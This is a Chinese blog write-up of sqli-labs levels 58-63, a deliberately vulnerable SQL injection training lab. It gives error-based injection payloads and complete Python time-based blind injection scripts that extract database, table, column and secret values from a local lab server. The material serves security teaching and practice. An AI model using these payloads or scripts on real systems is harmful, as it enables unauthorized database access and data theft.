sqli-labs(11)

最新推荐文章于 2024-07-24 14:50:40 发布
最新推荐文章于 2024-07-24 14:50:40 发布
阅读量76 收藏
点赞数
分类专栏： 靶场 文章标签： sql 数据库 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_61988806/article/details/134779512
版权

58.

1'and(extractvalue(1,concat(0x5c,database()))) --+

1'and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'))) --+

1'and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='57512wa1kp'))) --+

1'and extractvalue(1,concat(0x5c,(select secret_9OMH from challenges.57512wa1kp))) --+

59.

数字型注入

1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+

1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1) --+

1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='92axx5dz9i'),0x7e),1) --+

1 and updatexml(1,concat(0x7e,(select secret_FG61 from challenges.92axx5dz9i),0x7e),1) --+

60.

通过报错信息知道是")

1") and extractvalue(1,concat(0x5c,database())) --+

1")and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'))) --+

1")and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='4vekw18bge'))) --+

1")and extractvalue(1,concat(0x5c,(select secret_D37R from challenges.4vekw18bge ))) --+

 61.

通过报错知道是'))

1'))and updatexml(1,concat(0x7e,database(),0x7e),1) --+

1'))and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1) --+

1'))and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='7w8f94pfzj'),0x7e),1) --+

1'))and updatexml(1,concat(0x7e,(select secret_3AYU from challenges.7w8f94pfzj),0x7e),1) --+

62.

通过测试1 1’ 1” 1‘ 1=1 1=0 得到是1’）

这里没有报错使用时间盲注

数据库名

def database():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1') and if(substr(database(),{len (database_name) + 1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-62?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                database_name += char
                print(f"数据库名称为：{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为：",datas)

表名

def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1') and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' ),{len(table_name) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-62?id={payload}"

            start_time = time.time()
            
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                table_name += char
                print(f"表名称为：{table_name}")
                break
        else: 
            break
    return table_name
tbales = tablename()
print("最终表名称为：",tbales)

列名

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1') and if(substr((select column_name from information_schema.columns where table_schema='challenges' and table_name='ecp79t9ngr' limit 2,1),{len(column_name ) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-62?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                column_name += char
                print(f"列名称为：{column_name}")
                break
        else:
            break
    return column_name
columns = columnname()
print("最终列名称为：",columns)

得到数据

def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1') and if(substr((select secret_ag65 from challenges.ecp79t9ngr limit 0,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-62?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()
            
            rsp_time = end_time - start_time
            if rsp_time >= 2:
                data += char
                print(f"数据为：{data}")
                break   
        else:
            break
    return data
datas = data()
print("最终数据为：",datas)

总脚本

def database():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1') and if(substr(database(),{len (database_name) + 1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-62?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                database_name += char
                print(f"数据库名称为：{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为：",datas)



def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1') and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' ),{len(table_name) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-62?id={payload}"

            start_time = time.time()
            
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                table_name += char
                print(f"表名称为：{table_name}")
                break
        else: 
            break
    return table_name
tbales = tablename()
print("最终表名称为：",tbales)

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
    while True:
        for char in charset:
            payload = f"1') and if(substr((select column_name from information_schema.columns where table_schema='challenges' and table_name='ecp79t9ngr' limit 2,1),{len(column_name ) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-62?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                column_name += char
                print(f"列名称为：{column_name}")
                break
        else:
            break
    return column_name
columns = columnname()
print("最终列名称为：",columns)


def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1') and if(substr((select secret_ag65 from challenges.ecp79t9ngr limit 0,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-62?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()
            
            rsp_time = end_time - start_time
            if rsp_time >= 2:
                data += char
                print(f"数据为：{data}")
                break   
        else:
            break
    return data
datas = data()
print("最终数据为：",datas)

63.

测试发现是‘

def database():
    database_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr(database(),{len (database_name) + 1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-63?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                database_name += char
                print(f"数据库名称为：{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为：",datas)



def tablename():
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' ),{len(table_name) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-63?id={payload}"

            start_time = time.time()
            
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                table_name += char
                print(f"表名称为：{table_name}")
                break
        else: 
            break
    return table_name
tbales = tablename()
print("最终表名称为：",tbales)

def columnname():
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select column_name from information_schema.columns where table_schema='challenges' and table_name='ecp79t9ngr' limit 2,1),{len(column_name ) +1},1)='{char}',sleep(2),0) --+)"
            url = f"http://192.168.1.200:86/Less-63?id={payload}"

            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()

            rsp_time = end_time - start_time

            if rsp_time >= 2:
                column_name += char
                print(f"列名称为：{column_name}")
                break
        else:
            break
    return column_name
columns = columnname()
print("最终列名称为：",columns)


def data():
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    while True:
        for char in charset:
            payload = f"1' and if(substr((select secret_ag65 from challenges.ecp79t9ngr limit 0,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f"http://192.168.1.200:86/Less-63?id={payload}"
            
            start_time = time.time()
            rsp =requests.get(url)
            end_time = time.time()
            
            rsp_time = end_time - start_time
            if rsp_time >= 2:
                data += char
                print(f"数据为：{data}")
                break   
        else:
            break
    return data
datas = data()
print("最终数据为：",datas)

这里的表名，列名要根据爆破出来的进行修改

许允er
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
sqli-labs靶场搭建
AlienEowynWan的博客
11-17 287
解压放在phpstudy的WWW文件夹
详细sqli-labs（1-65）通关讲解
热门推荐
dreamthe的博客
05-17 14万+
​ 如果刚开始接触sql注入，那么sqli-labs这个靶场会很适合你，里面包含了很多的情景，以及我们在sql注入的时候遇到的阻碍。本章将1-65关重点关卡进行详细讲解。代码基本上很全。如果靶场练习完了可以看我这篇SQL注入总结会更好掌握。​SQL注入非常详细总结_糊涂是福yyyy的博客-CSDN博客_sql注入数据包 ​...
sqli-labs 11~14 多命通关攻略（报错注入）
两个月亮
01-16 544
由于该关卡中会提示错误信息，所以我们可以通过报错注入来爆破数据库。
sqli-labs26
qq_53030229的博客
06-01 927
文章目录一、审查源码1、判断注入点和闭合方式2、过滤方式二、SQL注入1、获取数据库 双写绕过：anandd 大小写绕过And ASCII编码绕过 %20、%0a绕过 内联注释：/!**/ 替换：如 and 可替换为 && ,or 可替换为 || 空格的话我们可以 url 绕过：%a0 || %0b 等等，过滤字符我们可以用 and || or 替代 一、审查源码 1、判断注入点和闭合方式 由于这个是与数据库交互的语句，通过这个判断
SQLi-Labs 安装
SunJ3t的菠萝屋
05-24 6565
1. 前言 我们在刚学习 SQL 注入的时候，往往都需要一个能 SQL 注入的网站进行 SQL 注入学习。如果直接去网上寻找存在 SQL 注入的网站对新手来说有些难度，因此我们一般都是在本地搭建一个能 SQL 注入测试的网站。 这里就来讲解一下 SQLi-Labs 的下载，安装，搭建教程。 注意： PHP 版本一定要设置成 PHP5 以上，PHP7 以下，PHP5 以上才有 information_schema 库，PHP7 之后的 mysql_ 都改成了 mysqli_** 了，所以用其他版本的 PHP
sqli-labs11-22关闯关心得与思路
m0_48294281的博客
03-28 4022
sqli-labs11-22关闯关心得与思路
SQLi-labs-Master（1-22）新手通关宝典
Myosotis_LL的博客
05-18 2105
欢迎来到《SQLi-labs-Master新手通关宝典》，本宝典专为网络安全新手编写，旨在引导他们深入了解SQL注入（SQLi）这一严重的安全漏洞。SQL注入允许攻击者通过精心构造的输入来操纵数据库查询，从而获取、篡改或删除敏感数据。本篇将带领你从基础知识出发，逐步掌握SQL注入的原理、技术和防御策略。通过SQLi-labs等实验环境，你将有机会在真实场景中实践SQL注入攻击，并学习如何有效防御。无论你是开发人员、系统管理员、渗透测试人员还是网络安全爱好者，掌握SQL注入技术都将对你大有裨益。
sqli-labs靶场安装
qq_44624916的博客
02-04 466
小皮phpstudy搭建sqli-labs靶场
Sqli-labs靶场第11关详解[Sqli-labs-less-11]
m0_73615178的博客
02-24 1252
SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-
sqli-labs 11-20关通关指南（详细解读）
weixin_44576725的博客
11-08 2293
前言：这里的关卡多为post注入，故结合burpsuite进行抓包分析 Less-11 1、post注入，先在username输入admin’，password随便输，返回错误信息，从错误信息可知在username处应该有注入点，且可能为字符注入类型： 抓包： 2、加上万能语句or 1=1#，修改为admin’ or 1=1#，发现登陆成功，而且用户默认为dumb，可确定为字符型注入： 3、order by确定列数，确定为2： 4、开始爆破数据库、表名、列名： 数据库名： 表名： 列名
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
windows环境下安装sqli-labs
11-04
Windows 环境下安装 sqli-labs 详细教程 Windows Server 2012 环境下安装 sqli-labs 需要具备一定的基础知识和环境准备。在这里，我们将详细介绍如何在 Windows Server 2012 环境下安装 sqli-labs。 环境准备 在...
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
sqli-labs.rar
12-22
sqli-labs是一个专门设计用于学习和练习SQL注入技术的平台，特别适合初学者了解和提升SQL注入防御技能。 首先，要搭建sqli-labs，你需要准备以下工具： 1. PHPstudy：一个集成的Web服务器环境，包括Apache、Nginx、...
力扣高频SQL 50题（基础版）第八题
m0_70882914的博客
07-23 802
1581. 进店却未进行过交易的顾客
会Excel就会sql？
svygh123的专栏
07-20 1334
以上就是通过具体的例子来说明Excel中对应的操作，以便更好地对比SQL，通过这些步骤，你可以直观地在Excel中实现类似数据库操作的功能，SQL就像是数据库世界的Excel，但它更加强大，适用于大规模数据处理和复杂的数据关系管理。虽然开始时可能会觉得SQL语法有些抽象，但一旦掌握了基础，你会发现它非常高效且强大，特别是在处理大量数据和执行复杂查询时。就像在Excel中一样，实践中学习SQL会更加有效，尝试编写一些简单的查询，逐渐增加难度，你会很快上手的！
SQL labs-SQL注入（四，sqlmap对于post传参方式的注入）
最新发布
2302_80280669的博客
07-24 313
post与get传参并无明显差别，工具使用大同小异，手工post注入与get并无明显差别。下一篇文章将会讲解SQL注入-post手工注入。
Concat() Function-SQL-字符串拼接函数
喻师傅的学习笔记
07-24 535
在SQL中，CONCAT()函数用于将两个或多个字符串连接在一起。不同数据库管理系统可能有些许差异，但基本用法和语法通常是相似的。
MySQL注入实战指南——Sqli-labs教程解析
"MySQL注入天书——Sqli-labs使用手册" 这篇文档是关于MySQL注入技术的详细指南，特别关注于使用Sqli-labs进行实战练习。作者Lcamry在2016年编写了这份手册，旨在帮助读者理解和掌握SQL注入攻击与防御的相关知识。 ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

许允er

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值